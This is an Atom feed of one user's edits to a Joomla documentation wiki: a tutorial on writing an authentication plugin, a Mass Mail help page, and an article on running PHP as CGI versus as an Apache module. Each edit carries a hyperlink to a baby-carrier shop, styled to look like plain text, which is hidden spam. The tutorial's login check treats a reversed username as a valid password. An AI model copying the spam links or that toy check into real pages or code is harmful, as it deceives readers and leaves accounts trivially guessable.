<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://docs.sandbox.joomla.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=MTrapp82</id>
	<title>Joomla! Documentation - User contributions [en]</title>
	<link rel="self" type="application/atom+xml" href="https://docs.sandbox.joomla.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=MTrapp82"/>
	<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/Special:Contributions/MTrapp82"/>
	<updated>2026-08-15T02:29:52Z</updated>
	<subtitle>User contributions</subtitle>
	<generator>MediaWiki 1.43.0</generator>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=J1.5:Creating_an_Authentication_Plugin_for_Joomla&amp;diff=62341</id>
		<title>J1.5:Creating an Authentication Plugin for Joomla</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=J1.5:Creating_an_Authentication_Plugin_for_Joomla&amp;diff=62341"/>
		<updated>2011-09-26T18:48:30Z</updated>

		<summary type="html">&lt;p&gt;MTrapp82: None&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;The new authentication plugin system for Joomla! 1.5 offers a great deal of flexibility and power to the system. Using the new system, it is possible to authenticate users from any source - the Joomla! internal database, the Open ID system, an LDAP directory, or any authentication system that can be accessed using PHP.&lt;br /&gt;
&lt;br /&gt;
This tutorial will present a really basic example of an authentication plugin that demonstrates how to create custom authentication plugins for the Joomla! framework.&lt;br /&gt;
&lt;br /&gt;
== The plgAuthenticationMyauth Class ==&lt;br /&gt;
&lt;br /&gt;
Joomla! 1.5 plugins are created by creating a child class of the JPlugin class. The JPlugin class provides all the infrastructure and basic functionality that is required. All that is necessary is to provide the necessary methods to handle the desired event.&lt;br /&gt;
&lt;br /&gt;
To create an authentication plugin, the name of the child class must begin with &amp;amp;lt;code&amp;gt;plgAuthentication&amp;amp;lt;/code&amp;gt;, and must end with the name of the plugin that is being created. In our case, the plugin is called Myauth, so the class will be called &amp;amp;lt;code&amp;gt;plgAuthenticationMyauth&amp;amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
The class will have two methods. The first method is the constructor. The second method is the &amp;amp;lt;code&amp;gt;onAuthenticate()&amp;amp;lt;/code&amp;gt; method. These methods are actually very simple, as will be demonstrated.&lt;br /&gt;
&lt;br /&gt;
== The plgAuthenticationMyauth() Method ==&lt;br /&gt;
&lt;br /&gt;
The constructor should take one parameter, which should be passed by reference. All it will do is pass this parameter onto the constructor of its parent class. We should note that this constructor method should have the same name as the class. The name &amp;amp;lt;code&amp;gt;__construct&amp;amp;lt;/code&amp;gt; cannot be used because PHP4 does not support this mechanism and the fix that is used in the Joomla! core will not allow passing the arguments by reference. Therefore, our constructor looks like:&lt;br /&gt;
&lt;br /&gt;
&amp;amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
function plgAuthenticationMyauth(&amp;amp;amp; $subject) {&lt;br /&gt;
    parent::__construct($subject);&lt;br /&gt;
}&lt;br /&gt;
&amp;amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The parent constructor will handle attaching our event observer (plugin) to the subject (the event dispatcher).&lt;br /&gt;
&lt;br /&gt;
== The onAuthenticate() Method ==&lt;br /&gt;
&lt;br /&gt;
The &amp;amp;lt;code&amp;gt;onAuthenticate()&amp;amp;lt;/code&amp;gt; method is the method that will be called when the system is trying to use your plugin to authenticate the user. This method will be passed three parameters: the username, the password, and a reference to an object of type JAuthenticationResponse. This method needs to determine if the username and password are a valid combination for authentication and return the result in the JAuthenticationResponse object.&lt;br /&gt;
&lt;br /&gt;
For our example, the authentication check that we are going to do is very simple. We will simply make sure that the specified username exists in the users table, and if it does, we will check to see if the username is the reverse of the password. So our authentication check will look like:&lt;br /&gt;
 &lt;br /&gt;
&amp;amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
$db =&amp;amp;amp; JFactory::getDBO();&lt;br /&gt;
$query = &#039;SELECT `id`&#039;&lt;br /&gt;
    . &#039; FROM #__users&#039;&lt;br /&gt;
    . &#039; WHERE username=&#039; . $db-&amp;gt;quote( $credentials[&#039;username&#039;] );&lt;br /&gt;
$db-&amp;gt;setQuery( $query );&lt;br /&gt;
$result = $db-&amp;gt;loadResult();&lt;br /&gt;
&lt;br /&gt;
// to authenticate, the username must exist in the database, and the password should be equal&lt;br /&gt;
// to the reverse of the username (so user joeblow would have password wolbeoj)&lt;br /&gt;
if($result &amp;amp;amp;&amp;amp;amp; ($credentials[&#039;username&#039;] == strrev( $credentials[&#039;password&#039;] )))&lt;br /&gt;
&amp;amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Although this is very basic in our example, this code can be replaced with any code that is necessary to perform the authentication checking that is necessary for your plugin. The flexibility is only limited by what PHP can do.&lt;br /&gt;
&lt;br /&gt;
Now that we have determined whether or not authentication was successful, we can now create our response:&lt;br /&gt;
&lt;br /&gt;
&amp;amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
$db =&amp;amp;amp; JFactory::getDBO();&lt;br /&gt;
$query = &#039;SELECT `id`&#039;&lt;br /&gt;
    . &#039; FROM #__users&#039;&lt;br /&gt;
    . &#039; WHERE username=&#039; . $db-&amp;gt;quote( $credentials[&#039;username&#039;] );&lt;br /&gt;
$db-&amp;gt;setQuery( $query );&lt;br /&gt;
$result = $db-&amp;gt;loadResult();&lt;br /&gt;
&lt;br /&gt;
if (!$result) {&lt;br /&gt;
    $response-&amp;gt;status = JAUTHENTICATE_STATUS_FAILURE;&lt;br /&gt;
    $response-&amp;gt;error_message = &#039;User does not exist&#039;;&lt;br /&gt;
}&lt;br /&gt;
// to authenticate, the username must exist in the database, and the password should be equal&lt;br /&gt;
// to the reverse of the username (so user joeblow would have password wolbeoj)&lt;br /&gt;
if($result &amp;amp;amp;&amp;amp;amp; ($credentials[&#039;username&#039;] == strrev( $credentials[&#039;password&#039;] )))&lt;br /&gt;
{&lt;br /&gt;
    $email = JUser::getInstance($result); // Bring this in line with the rest of the system&lt;br /&gt;
    $response-&amp;gt;email = $email-&amp;gt;email;&lt;br /&gt;
    $response-&amp;gt;status = JAUTHENTICATE_STATUS_SUCCESS;&lt;br /&gt;
}&lt;br /&gt;
else&lt;br /&gt;
{&lt;br /&gt;
    $response-&amp;gt;status = JAUTHENTICATE_STATUS_FAILURE;&lt;br /&gt;
    $response-&amp;gt;error_message = &#039;Invalid username and password&#039;;&lt;br /&gt;
}&lt;br /&gt;
&amp;amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
For failed responses, we set two properties of the response object: the status property, and the error_message property. Currently there are three recognized response status value - &amp;amp;lt;code&amp;gt;JAUTHENTICATE_STATUS_SUCCESS&amp;amp;lt;/code&amp;gt;, &amp;amp;lt;code&amp;gt;JAUTHENTICATE_STATUS_FAILURE&amp;amp;lt;/code&amp;gt;, and &amp;amp;lt;code&amp;gt;JAUTHENTICATE_STATUS_CANCEL&amp;amp;lt;/code&amp;gt;. For more information on these status values, consult the libraries/joomla/user/authentication.php file.&lt;br /&gt;
&lt;br /&gt;
The error_message property is set in case the authentication is not successful. In our plugin, we set two possible values to this property: &amp;quot;User does not exist&amp;quot;, which indicates that our query did not return any results, and &amp;quot;Invalid username and password&amp;quot;, which indicates that the password was not the reverse of the username. &amp;lt;span class=&amp;quot;plainlinks&amp;quot;&amp;gt;[http://www.thepiggybackrider.com/ &amp;lt;span style=&amp;quot;color:black;font-weight:normal; text-decoration:none!important; background:none!important; text-decoration:none;/*CITATION*/&amp;quot;&amp;gt;kid carrier&amp;lt;/span&amp;gt;]&amp;lt;/span&amp;gt; It should be noted that these values are not returned to the user. For security reasons, the only thing the user will see is a successful login, or a message that says, &amp;quot;Username and password do not match.&amp;quot; The Joomla! system can be configured so that these error messages can be stored in a log file for debugging purposes.&lt;br /&gt;
&lt;br /&gt;
If authentication is successful, we can optionally add information from our authentication source to the response. In this case, we are retrieving the user information from the Joomla! database and storing the email address in the response object. For more information on what data can be stored in the response object, please consult [http://api.joomla.org/Joomla-Framework/User/JAuthenticationResponse.html http://api.joomla.org]. This data can then be used by user plugins in the event it is desired to automatically create users or perform other login tasks.&lt;br /&gt;
&lt;br /&gt;
== The Complete myauth.php File ==&lt;br /&gt;
&lt;br /&gt;
Now that we have completed the two methods that are necessary for our class, we put our class into a PHP file that has the same name as our plugin. Since our plugin is called Myauth, we call our file myauth.php. Here is the complete listing for this file:&lt;br /&gt;
&lt;br /&gt;
&amp;amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
&amp;amp;lt;?php&lt;br /&gt;
/**&lt;br /&gt;
 * @version    $Id: myauth.php 7180 2007-04-23 16:51:53Z jinx $&lt;br /&gt;
 * @package    Joomla.Tutorials&lt;br /&gt;
 * @subpackage Plugins&lt;br /&gt;
 * @license    GNU/GPL&lt;br /&gt;
 */&lt;br /&gt;
&lt;br /&gt;
// Check to ensure this file is included in Joomla!&lt;br /&gt;
defined(&#039;_JEXEC&#039;) or die();&lt;br /&gt;
&lt;br /&gt;
jimport(&#039;joomla.event.plugin&#039;);&lt;br /&gt;
&lt;br /&gt;
/**&lt;br /&gt;
 * Example Authentication Plugin.  Based on the example.php plugin in the Joomla! Core installation&lt;br /&gt;
 *&lt;br /&gt;
 * @package    Joomla.Tutorials&lt;br /&gt;
 * @subpackage Plugins&lt;br /&gt;
 * @license    GNU/GPL&lt;br /&gt;
 */&lt;br /&gt;
class plgAuthenticationMyauth extends JPlugin&lt;br /&gt;
{&lt;br /&gt;
    /**&lt;br /&gt;
     * Constructor&lt;br /&gt;
     *&lt;br /&gt;
     * For php4 compatability we must not use the __constructor as a constructor for plugins&lt;br /&gt;
     * because func_get_args ( void ) returns a copy of all passed arguments NOT references.&lt;br /&gt;
     * This causes problems with cross-referencing necessary for the observer design pattern.&lt;br /&gt;
     *&lt;br /&gt;
     * @param object $subject The object to observe&lt;br /&gt;
     * @since 1.5&lt;br /&gt;
     */&lt;br /&gt;
    function plgAuthenticationMyauth(&amp;amp;amp; $subject) {&lt;br /&gt;
        parent::__construct($subject);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    /**&lt;br /&gt;
     * This method should handle any authentication and report back to the subject&lt;br /&gt;
     * This example uses simple authentication - it checks if the password is the reverse&lt;br /&gt;
     * of the username (and the user exists in the database).&lt;br /&gt;
     *&lt;br /&gt;
     * @access    public&lt;br /&gt;
     * @param     array     $credentials    Array holding the user credentials (&#039;username&#039; and &#039;password&#039;)&lt;br /&gt;
     * @param     array     $options        Array of extra options&lt;br /&gt;
     * @param     object    $response       Authentication response object&lt;br /&gt;
     * @return    boolean&lt;br /&gt;
     * @since 1.5&lt;br /&gt;
     */&lt;br /&gt;
    function onAuthenticate( $credentials, $options, &amp;amp;amp;$response )&lt;br /&gt;
    {&lt;br /&gt;
        /*&lt;br /&gt;
         * Here you would do whatever you need for an authentication routine with the credentials&lt;br /&gt;
         *&lt;br /&gt;
         * In this example the mixed variable $return would be set to false&lt;br /&gt;
         * if the authentication routine fails or an integer userid of the authenticated&lt;br /&gt;
         * user if the routine passes&lt;br /&gt;
         */&lt;br /&gt;
        $db =&amp;amp;amp; JFactory::getDBO();&lt;br /&gt;
        $query = &#039;SELECT `id`&#039;&lt;br /&gt;
            . &#039; FROM #__users&#039;&lt;br /&gt;
            . &#039; WHERE username=&#039; . $db-&amp;gt;quote( $credentials[&#039;username&#039;] );&lt;br /&gt;
        $db-&amp;gt;setQuery( $query );&lt;br /&gt;
        $result = $db-&amp;gt;loadResult();&lt;br /&gt;
        &lt;br /&gt;
        if (!$result) {&lt;br /&gt;
            $response-&amp;gt;status = JAUTHENTICATE_STATUS_FAILURE;&lt;br /&gt;
            $response-&amp;gt;error_message = &#039;User does not exist&#039;;&lt;br /&gt;
        }&lt;br /&gt;
        &lt;br /&gt;
        // to authenticate, the username must exist in the database, and the password should be equal&lt;br /&gt;
        // to the reverse of the username (so user joeblow would have password wolbeoj)&lt;br /&gt;
        if($result &amp;amp;amp;&amp;amp;amp; ($credentials[&#039;username&#039;] == strrev( $credentials[&#039;password&#039;] )))&lt;br /&gt;
        {&lt;br /&gt;
            $email = JUser::getInstance($result); // Bring this in line with the rest of the system&lt;br /&gt;
            $response-&amp;gt;email = $email-&amp;gt;email;&lt;br /&gt;
            $response-&amp;gt;status = JAUTHENTICATE_STATUS_SUCCESS;&lt;br /&gt;
        }&lt;br /&gt;
        else&lt;br /&gt;
        {&lt;br /&gt;
            $response-&amp;gt;status = JAUTHENTICATE_STATUS_FAILURE;&lt;br /&gt;
            $response-&amp;gt;error_message = &#039;Invalid username and password&#039;;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
You will notice that we have to add &amp;amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;jimport(&#039;joomla.event.plugin&#039;);&amp;amp;lt;/source&amp;gt;to the beginning of our file in order to load the JPlugin class definition.&lt;br /&gt;
&lt;br /&gt;
== The XML Install Manifest ==&lt;br /&gt;
&lt;br /&gt;
Now that we have created our JPlugin class, all we have to do is create our XML install file that will tell the Joomla! installer how to install our plugin. This file is simple:&lt;br /&gt;
 &lt;br /&gt;
&amp;amp;lt;source lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
&amp;amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;utf-8&amp;quot;?&amp;gt;&lt;br /&gt;
&amp;amp;lt;install version=&amp;quot;1.5&amp;quot; type=&amp;quot;plugin&amp;quot; group=&amp;quot;authentication&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;amp;lt;name&amp;gt;Authentication - Myauth&amp;amp;lt;/name&amp;gt;&lt;br /&gt;
    &amp;amp;lt;author&amp;gt;Joomla! Documentation Project&amp;amp;lt;/author&amp;gt;&lt;br /&gt;
    &amp;amp;lt;creationDate&amp;gt;May 30, 2007&amp;amp;lt;/creationDate&amp;gt;&lt;br /&gt;
    &amp;amp;lt;copyright&amp;gt;(C) 2005 - 2007 Open Source Matters. All rights reserved.&amp;amp;lt;/copyright&amp;gt;&lt;br /&gt;
    &amp;amp;lt;license&amp;gt;http://www.gnu.org/copyleft/gpl.html GNU/GPL&amp;amp;lt;/license&amp;gt;&lt;br /&gt;
    &amp;amp;lt;authorEmail&amp;gt;ian.maclennan@help.joomla.org&amp;amp;lt;/authorEmail&amp;gt;&lt;br /&gt;
    &amp;amp;lt;authorUrl&amp;gt;www.joomla.org&amp;amp;lt;/authorUrl&amp;gt;&lt;br /&gt;
    &amp;amp;lt;version&amp;gt;1.5&amp;amp;lt;/version&amp;gt;&lt;br /&gt;
    &amp;amp;lt;description&amp;gt;An sample authentication plugin&amp;amp;lt;/description&amp;gt;&lt;br /&gt;
    &amp;amp;lt;files&amp;gt;&lt;br /&gt;
        &amp;amp;lt;filename plugin=&amp;quot;myauth&amp;quot;&amp;gt;myauth.php&amp;amp;lt;/filename&amp;gt;&lt;br /&gt;
    &amp;amp;lt;/files&amp;gt;&lt;br /&gt;
    &amp;amp;lt;params/&amp;gt;&lt;br /&gt;
&amp;amp;lt;/install&amp;gt;&lt;br /&gt;
&amp;amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
You will notice that this file looks very similar to any other Joomla! XML install manifest file. There are a few important things to notice.&lt;br /&gt;
&lt;br /&gt;
The first thing to notice is the group attribute on the root element. For authentication plugins, the group attribute must have the value &#039;authentication&#039;. This tells the Joomla! system to treat your plugin as an authentication plugin.&lt;br /&gt;
&lt;br /&gt;
It is also important to note that the version attribute of the root element (install) should be 1.5. This will tell Joomla! that your plugin is written for Joomla! 1.5 and will operate without legacy mode.&lt;br /&gt;
&lt;br /&gt;
We entered the name &#039;Authentication - Myauth&#039; in the name field. Your plugin doesn&#039;t HAVE to follow this convention, but it looks better because then it will match the standard authentication plugins that are listed in the plugin manager.&lt;br /&gt;
&lt;br /&gt;
Finally, notice that filename attribute that contains our plugin file has an attribute called plugin. The value of this should be the name of our plugin. In this case, it is myauth.&lt;br /&gt;
&lt;br /&gt;
== Wrapping it All Up and Using It ==&lt;br /&gt;
&lt;br /&gt;
Now that we have created our two files, all we have to do is package them up into an archive file that can be read by the Joomla! installer system.&lt;br /&gt;
&lt;br /&gt;
Once we package and install our plugin, it is ready to be used. The plugin is published using the Plugin Manager. All of the authentication plugins will be grouped together. Plugins are enabled by &#039;publishing them&#039;. You can publish as many authentication plugins as you want. In order for successful authentication to occur, only one of the plugins needs to return a &amp;amp;lt;code&amp;gt;JAUTHENTICATE_STATUS_SUCCESS&amp;amp;lt;/code&amp;gt; result.&lt;br /&gt;
&lt;br /&gt;
== Conclusion ==&lt;br /&gt;
&lt;br /&gt;
We have now created a simple authentication plugin. We have demonstrated the basic process of doing an authentication check and return the results to the Joomla! system.&lt;br /&gt;
&lt;br /&gt;
You can also easily test this plugin by packaging it yourself.&lt;br /&gt;
&lt;br /&gt;
[[Category:Tutorials]]&lt;br /&gt;
[[Category:Plugin Development]]&lt;/div&gt;</summary>
		<author><name>MTrapp82</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Help15:Screen.users.massmail.15&amp;diff=62340</id>
		<title>Help15:Screen.users.massmail.15</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Help15:Screen.users.massmail.15&amp;diff=62340"/>
		<updated>2011-09-26T18:48:28Z</updated>

		<summary type="html">&lt;p&gt;MTrapp82: None&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==How to access==&lt;br /&gt;
Select &#039;&#039;&#039;Tools &amp;amp;amp;rarr; Mass Mail&#039;&#039;&#039; from the drop-down menu on the Back-end of your Joomla! installation.&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
The Mass Mail screen allows Users who are members of the &amp;quot;Super Administrator&amp;quot; group to send an e-mail message to all Users who are members of a specific group.&lt;br /&gt;
&lt;br /&gt;
==Screenshot==&lt;br /&gt;
[[Image:Mass_mail.png]]&lt;br /&gt;
&lt;br /&gt;
==Details==&lt;br /&gt;
*&#039;&#039;&#039;Mail to Child Groups.&#039;&#039;&#039; Whether or not to send the E-mail to members of all child groups of the selected &amp;lt;span class=&amp;quot;plainlinks&amp;quot;&amp;gt;[http://www.thepiggybackrider.com/ &amp;lt;span style=&amp;quot;color:black;font-weight:normal; text-decoration:none!important; background:none!important; text-decoration:none;/*CITATION*/&amp;quot;&amp;gt;kid carrier&amp;lt;/span&amp;gt;]&amp;lt;/span&amp;gt; group. For example, if this box is checked and the group &amp;quot;Public Front-end&amp;quot; is selected, the e-mail would be sent to all members of the &amp;quot;Registered&amp;quot;, &amp;quot;Author&amp;quot;, &amp;quot;Editor&amp;quot; and &amp;quot;Publisher&amp;quot; groups.&lt;br /&gt;
*&#039;&#039;&#039;Send in HTML mode.&#039;&#039;&#039; Whether or not to send the E-mail with headers that identify it as an HTML document. E-mail clients that support this will render any HTML codes.&lt;br /&gt;
*&#039;&#039;&#039;Group.&#039;&#039;&#039; Select the group you want to send the E-mail to.&lt;br /&gt;
*&#039;&#039;&#039; Recipients as BCC. Adds copy to site email.&#039;&#039;&#039; If checked, all recipients will be included as BCC entries, so none will see any of the other recipients&#039; E-mail addresses. Because many mail routers treat E-mail without a &#039;&#039;To:&#039;&#039; entry as spam, the site email will be used for the &#039;&#039;To:&#039;&#039; entry.&lt;br /&gt;
*&#039;&#039;&#039;Subject&#039;&#039;&#039; Enter the Subject of the E-mail. Try to make it as descriptive as possible. Any text entered in the &#039;&#039;Subject Prefix&#039;&#039; parameter (see [[#Global Configuration|Global Configuration]] below) will be prepended to (placed in front of) the subject you enter here.&lt;br /&gt;
*&#039;&#039;&#039;Message.&#039;&#039;&#039; Enter the body of the E-mail. Any text entered in the &#039;&#039;Mailbody Suffix&#039;&#039; parameter (see [[#Global Configuration|Global Configuration]] below) will be added to the text you enter here.&lt;br /&gt;
&lt;br /&gt;
==Global Configuration==&lt;br /&gt;
This pop-up screen is shown when the User clicks the &#039;Parameters&#039; button on the Toolbar. Press the Save button to save any changes or Cancel to discard any changes.&lt;br /&gt;
&lt;br /&gt;
[[Image:Screen_massmail_params_15.png]]&lt;br /&gt;
&lt;br /&gt;
*&#039;&#039;&#039;Subject Prefix.&#039;&#039;&#039; Enter a prefix to be prepended to the Subject of every mass E-mail. This is intended to contain some site identifier, for example, the site name.&lt;br /&gt;
*&#039;&#039;&#039;Mailbody Suffix.&#039;&#039;&#039; Enter a suffix to be appended to the body of every mass E-mail. This is intended to be used as a site signature.&lt;br /&gt;
&lt;br /&gt;
==Toolbar==&lt;br /&gt;
At the top right you will see the toolbar: &lt;br /&gt;
&lt;br /&gt;
[[Image:Screen_massmail_toolbar.png]]&lt;br /&gt;
&lt;br /&gt;
*&#039;&#039;&#039;Send Mail&#039;&#039;&#039; Send the email and return to the main Mass Mail screen &lt;br /&gt;
{{toolbaricon|Cancel}}&lt;br /&gt;
{{toolbaricon|Parameters}}&lt;br /&gt;
{{toolbaricon|Help}}&lt;br /&gt;
&lt;br /&gt;
==Related Information==&lt;br /&gt;
*To add or edit Users in the Back end: [[screen.users.15|User Manager]]&lt;br /&gt;
*To create a layout to allow Users to self-register in the Front end: [[screen.menus.edit.15#Default Login Layout|Menu Item Manager - New/Edit - Default Login Layout]]&lt;br /&gt;
*To send Super Administrators Private Messages: [[screen.messages.inbox.15|Private Messages - Inbox]]&lt;br /&gt;
&amp;amp;lt;noinclude&amp;gt;{{cathelp|1.5|Mass Mail|Tools}}&amp;amp;lt;/noinclude&amp;gt;&lt;/div&gt;</summary>
		<author><name>MTrapp82</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Should_PHP_run_as_a_CGI_script_or_as_an_Apache_module%3F&amp;diff=62339</id>
		<title>Should PHP run as a CGI script or as an Apache module?</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Should_PHP_run_as_a_CGI_script_or_as_an_Apache_module%3F&amp;diff=62339"/>
		<updated>2011-09-26T18:48:26Z</updated>

		<summary type="html">&lt;p&gt;MTrapp82: None&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;There are two ways to configure Apache to use PHP:&lt;br /&gt;
&lt;br /&gt;
# Configure Apache to load the PHP interpreter as an &#039;&#039;Apache module&#039;&#039;&lt;br /&gt;
# Configure Apache to run the PHP interpreter as a &#039;&#039;CGI binary&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;(PS: Windows IIS normaly configures as CGI by the way)&#039;&#039;&lt;br /&gt;
 &lt;br /&gt;
It is the intention of this post to provide you information relating to the configuration and recognition of each method. &amp;quot;In general&amp;quot; historically only one method or the other has been implemented, however, with the architectural changes made to PHP starting with PHP5, it has been quite common for hosting firms to configure for both. One version running as CGI and one version running as a Module. It is&lt;br /&gt;
generally accepted more recently that running PHP as a CGI is more secure, however, running PHP as an Apache Module does have a slight&lt;br /&gt;
performance gain and is generally how most pre-configured systems will be delivered out of the box.&lt;br /&gt;
&lt;br /&gt;
== What is the difference between CGI and apache Module Mode? ==&lt;br /&gt;
&lt;br /&gt;
An &#039;&#039;&#039;Apache module&#039;&#039;&#039; is compiled into the Apache binary, so the PHP interpreter runs in the Apache process, meaning that when Apache spawns a child, each process already contains a binary image of PHP. A CGI is executed as a single process for each request, and must make an exec() or fork() call to the PHP executable, meaning that each request will create a new process of the PHP interpreter.  Apache is much more efficient in it&#039;s ability to handle requests, and managing resources, making the Apache module slightly faster than the CGI (as well as more stable under load).&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;CGI Mode&#039;&#039;&#039; on the other hand, is more secure because the server now manages and controls access to the binaries. PHP can now run as your own user rather than the generic Apache user. &amp;lt;span class=&amp;quot;plainlinks&amp;quot;&amp;gt;[http://www.thepiggybackrider.com/ &amp;lt;span style=&amp;quot;color:black;font-weight:normal; text-decoration:none!important; background:none!important; text-decoration:none;/*CITATION*/&amp;quot;&amp;gt;child carrier&amp;lt;/span&amp;gt;]&amp;lt;/span&amp;gt; This means you can put your database passwords in a file readable only by you and your php scripts can still access it! The &amp;quot;Group&amp;quot; and &amp;quot;Other&amp;quot; permissions (refer ) can now be more restrictive. CGI mode is also claimed to be more flexible in many respects as you should now not see, with phpSuExec (refer ) issues with file ownership being taken over by the Apache user, therefore you should no longer have problems under FTP when trying to access or modify files that have been uploaded through a PHP interface, such as Joomla! upload options.&lt;br /&gt;
&lt;br /&gt;
If your server is configured to run PHP as an Apache module, then you will have the choice of using either php.ini or Apache .htaccess files, however, if your server runs PHP in CGI mode then you will only have the choice of using php.ini files locally to change settings, as Apache is no longer in complete control of PHP.&lt;br /&gt;
&lt;br /&gt;
== Testing and Reviewing Your PHP Installation ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;Also known as &amp;quot;Everything you ever wanted and didn&#039;t want to know about PHP&amp;quot;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
To find out the PHP interpreter mode and to generally test your PHP installation and to find out a vast amount of information about your PHP environment, supported utilities, applications and settings, you create a single PHP file containing &#039;&#039;&#039;only&#039;&#039;&#039; the following lines:&lt;br /&gt;
&lt;br /&gt;
&amp;amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
&amp;amp;lt;?php&lt;br /&gt;
 phpinfo();&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This single line of code outputs an amazing amount of information, be warned.... [[Image:Icon_wink.gif]]&lt;br /&gt;
&lt;br /&gt;
Save the file as any filename you wish, but with the &amp;quot;.php&amp;quot; extension. FTP it to your server and open it in a browser.&lt;br /&gt;
&lt;br /&gt;
== Other useful information ==&lt;br /&gt;
&lt;br /&gt;
The following are PHP functions, that when run from a PHP File can provide some useful information, &#039;&#039;&#039;(less than the above option)&#039;&#039;&#039; many should run on most hosts, however many hosts disable some of these functions for security. No guarantees offered...&lt;br /&gt;
&lt;br /&gt;
Again, as above, make a file, name it anything you wish but make sure it has the &amp;quot;.php&amp;quot; extension, copy and paste the following lines in to it and FTP to your server.&lt;br /&gt;
&lt;br /&gt;
&amp;amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
&amp;amp;lt;?php&lt;br /&gt;
 echo &amp;quot;Hostname: &amp;quot;. @php_uname(n) .&amp;quot;\n&amp;quot;;&lt;br /&gt;
 if (function_exists( &#039;shell_exec&#039; )) {&lt;br /&gt;
  echo &amp;quot;Hostname: &amp;quot;. @gethostbyname(trim(`hostname`)) . &amp;quot;\n&amp;quot;;&lt;br /&gt;
 } else {&lt;br /&gt;
  echo &amp;quot;Server IP: &amp;quot;. $_SERVER[&#039;SERVER_ADDR&#039;] . &amp;quot;\n&amp;quot;;&lt;br /&gt;
 }&lt;br /&gt;
 echo &amp;quot;Platform: &amp;quot;. @php_uname(s) .&amp;quot; &amp;quot;. @php_uname(r) .&amp;quot; &amp;quot;. @php_uname(v) .&amp;quot;\n&amp;quot;;&lt;br /&gt;
 echo &amp;quot;Architecture: &amp;quot;. @php_uname(m) .&amp;quot;\n&amp;quot;;&lt;br /&gt;
 echo &amp;quot;Username: &amp;quot;. get_current_user () .&amp;quot; ( UiD: &amp;quot;. getmyuid() .&amp;quot;, GiD: &amp;quot;. getmygid() .&amp;quot; )\n&amp;quot;;&lt;br /&gt;
 echo &amp;quot;Curent Path: &amp;quot;. getcwd () .&amp;quot;\n&amp;quot;;&lt;br /&gt;
 echo &amp;quot;Server Type: &amp;quot;. $_SERVER[&#039;SERVER_SOFTWARE&#039;] . &amp;quot;\n&amp;quot;;&lt;br /&gt;
 echo &amp;quot;Server Admin: &amp;quot;. $_SERVER[&#039;SERVER_ADMIN&#039;] . &amp;quot;\n&amp;quot;;&lt;br /&gt;
 echo &amp;quot;Server Signature: &amp;quot;. $_SERVER[&#039;SERVER_SIGNATURE&#039;] .&amp;quot;\n&amp;quot;;&lt;br /&gt;
 echo &amp;quot;Server Protocol: &amp;quot;. $_SERVER[&#039;SERVER_PROTOCOL&#039;] .&amp;quot;\n&amp;quot;;&lt;br /&gt;
 echo &amp;quot;Server Mode: &amp;quot;. $_SERVER[&#039;GATEWAY_INTERFACE&#039;] .&amp;quot;\n&amp;quot;;&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The &#039;&#039;&#039;Joomla! HISA&#039;&#039;&#039; or &#039;&#039;&#039;Joomla! Tools Suite&#039;&#039;&#039; can also assist to determine which mode your server in running in, also providing a large amount of other related information including recommendations on configuration.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Joomla! Tools Suite&#039;&#039;&#039; (JTS) is a complete &amp;quot;Suite&amp;quot; of Tools to help you troubleshoot and maintain Joomla! and includes the &amp;quot;HISA&amp;quot; script.&lt;br /&gt;
*: [http://joomlacode.org/gf/project/jts/ Download JTS Here]&lt;br /&gt;
* &#039;&#039;&#039;Joomla! Health, Installation and Security Audit&#039;&#039;&#039; (HISA) is a single standalone script that provides purely configuration information.&lt;br /&gt;
*: [http://joomlacode.org/gf/project/hisa/ Download HISA Here]&lt;br /&gt;
&lt;br /&gt;
[http://forum.joomla.org/index.php/topic,136328.0.html Forum Discussion Here]&lt;br /&gt;
&lt;br /&gt;
